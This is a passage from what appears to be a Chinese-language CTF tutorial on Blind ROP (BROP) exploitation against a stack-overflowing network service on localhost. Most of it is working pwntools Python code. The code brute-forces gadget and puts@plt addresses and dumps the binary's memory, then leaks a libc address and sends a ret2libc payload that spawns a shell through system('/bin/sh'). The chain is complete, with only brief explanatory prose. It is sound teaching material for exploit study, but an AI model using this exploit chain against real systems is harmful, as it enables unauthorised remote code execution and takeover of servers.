sh.close()
return False
def check_brop_gadget(length, addr):
try:
sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\n')
payload = 'a' * length + p64(addr) + 'a' * 8 * 10
sh.sendline(payload)
content = sh.recv()
sh.close()
return False
except Exception:
sh.close()
return True
##length = getbufferflow_length()
length = 72
##get_stop_addr(length)
stop_gadget = 0x4006b6
addr = 0x400740
while 1:
print hex(addr)
if get_brop_gadget(length, stop_gadget, addr):
print 'possible brop gadget: 0x%x' % addr
if check_brop_gadget(length, addr):
print 'success brop gadget: 0x%x' % addr
break
addr += 1
这样,我们基本得到了 brop 的 gadgets 地址 0x4007ba
确定 puts@plt 地址 ¶
根据上面,所说我们可以构造如下 payload 来进行获取
payload = 'A'*72 +p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget)
具体函数如下
def get_puts_addr(length, rdi_ret, stop_gadget):
addr = 0x400000
while 1:
print hex(addr)
sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\n')
payload = 'A' * length + p64(rdi_ret) + p64(0x400000) + p64(
addr) + p64(stop_gadget)
sh.sendline(payload)
try:
content = sh.recv()
if content.startswith('\x7fELF'):
print 'find puts@plt addr: 0x%x' % addr
return addr
sh.close()
addr += 1
except Exception:
sh.close()
addr += 1
最后根据 plt 的结构,选择 0x400560 作为 puts@plt
泄露 puts@got 地址 ¶
在我们可以调用 puts 函数后,我们可以泄露 puts 函数的地址,进而获取 libc 版本,从而获取相关的 system 函数地址与 / bin/sh 地址,从而获取 shell。我们从 0x400000 开始泄露 0x1000 个字节,这已经足够包含程序的 plt 部分了。代码如下
def leak(length, rdi_ret, puts_plt, leak_addr, stop_gadget):
sh = remote('127.0.0.1', 9999)
payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64(
puts_plt) + p64(stop_gadget)
sh.recvuntil('password?\n')
sh.sendline(payload)
try:
data = sh.recv()
sh.close()
try:
data = data[:data.index("\nWelCome")]
except Exception:
data = data
if data == "":
data = '\x00'
return data
except Exception:
sh.close()
return None
##length = getbufferflow_length()
length = 72
##stop_gadget = get_stop_addr(length)
stop_gadget = 0x4006b6
##brop_gadget = find_brop_gadget(length,stop_gadget)
brop_gadget = 0x4007ba
rdi_ret = brop_gadget + 9
##puts_plt = get_puts_plt(length, rdi_ret, stop_gadget)
puts_plt = 0x400560
addr = 0x400000
result = ""
while addr < 0x401000:
print hex(addr)
data = leak(length, rdi_ret, puts_plt, addr, stop_gadget)
if data is None:
continue
else:
result += data
addr += len(data)
with open('code', 'wb') as f:
f.write(result)
最后,我们将泄露的内容写到文件里。需要注意的是如果泄露出来的是 “”, 那说明我们遇到了'\x00',因为 puts 是输出字符串,字符串是以'\x00'为终止符的。之后利用 ida 打开 binary 模式,首先在 edit->segments->rebase program 将程序的基地址改为 0x400000,然后找到偏移 0x560 处,如下
seg000:0000000000400560 db 0FFh
seg000:0000000000400561 db 25h ; %
seg000:0000000000400562 db 0B2h ;
seg000:0000000000400563 db 0Ah
seg000:0000000000400564 db 20h
seg000:0000000000400565 db 0
然后按下 c, 将此处的数据转换为汇编指令,如下
seg000:0000000000400560 ; ---------------------------------------------------------------------------
seg000:0000000000400560 jmp qword ptr cs:601018h
seg000:0000000000400566 ; ---------------------------------------------------------------------------
seg000:0000000000400566 push 0
seg000:000000000040056B jmp loc_400550
seg000:000000000040056B ; ---------------------------------------------------------------------------
这说明,puts@got 的地址为 0x601018。
程序利用 ¶
##length = getbufferflow_length()
length = 72
##stop_gadget = get_stop_addr(length)
stop_gadget = 0x4006b6
##brop_gadget = find_brop_gadget(length,stop_gadget)
brop_gadget = 0x4007ba
rdi_ret = brop_gadget + 9
##puts_plt = get_puts_addr(length, rdi_ret, stop_gadget)
puts_plt = 0x400560
##leakfunction(length, rdi_ret, puts_plt, stop_gadget)
puts_got = 0x601018
sh = remote('127.0.0.1', 9999)
sh.recvuntil('password?\n')
payload = 'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(
stop_gadget)
sh.sendline(payload)
data = sh.recvuntil('\nWelCome', drop=True)
puts_addr = u64(data.ljust(8, '\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(
system_addr) + p64(stop_gadget)
sh.sendline(payload)
sh.interactive()